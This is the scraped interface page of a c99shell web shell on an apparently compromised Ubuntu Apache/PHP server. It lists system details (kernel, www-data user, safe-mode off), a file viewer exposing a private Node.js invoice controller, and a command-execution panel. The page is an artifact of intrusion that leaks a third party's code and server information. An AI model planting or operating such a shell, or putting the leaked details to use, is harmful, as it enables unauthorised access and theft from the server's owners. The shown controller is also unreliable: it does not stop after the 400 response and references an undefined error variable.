Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 uid=33(www-data) gid=33(www-data) groups=33(www-data) Safe-mode: OFF (not secure) /var/www/html/aws_s3/src/controllers/ drwxr-xr-x | |
| Viewing file: Select action/file-type: import { generateInvoice } from "../models/invoiceModel.js";
// import { invoiceQueue } from "../config/redisQueue.js";
// // Process Invoice Queue
// invoiceQueue.process(async (job, done) => {
// const { folder_name, invoice_no, sale_id } = job.data;
// const result = await generateInvoice(folder_name, invoice_no, sale_id);
// if (result === "error") {
// done(new Error("Invoice generation failed"));
// } else {
// done();
// }
// });
// API Endpoint: Generate Invoice
export const createInvoice = async (req, res) => {
try {
const { folder_name, invoice_no, sale_id } = req.body;
if (!folder_name || !invoice_no || !sale_id) {
// return res.status(400).json({ error: "Missing required fields" });
res.locals.data={"error":"true","message":"Missing required fields"};
res.status(400).json(res.locals.data);
}
const result = await generateInvoice(folder_name, invoice_no, sale_id);
if (result.error) {
res.locals.data={"error":"true","message":result.message};
return res.status(500).json({"error":"true", "message":"Something is wrong, Please try again"});
}
// invoiceQueue.add({ folder_name, invoice_no, sale_id }, {
// removeOnComplete: true,
// removeOnFail: true,
// attempts: 3,
// backoff: { type: "exponential", delay: 5000 },
// });
res.locals.data={"message":"Invoice generated"};
res.status(200).json(res.locals.data);
} catch (error) {
res.locals.data={"error":"true","message":err.message};
res.status(500).json({"error":"true", "message":"Something is wrong, Please try again"});
}
};
|
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]-- |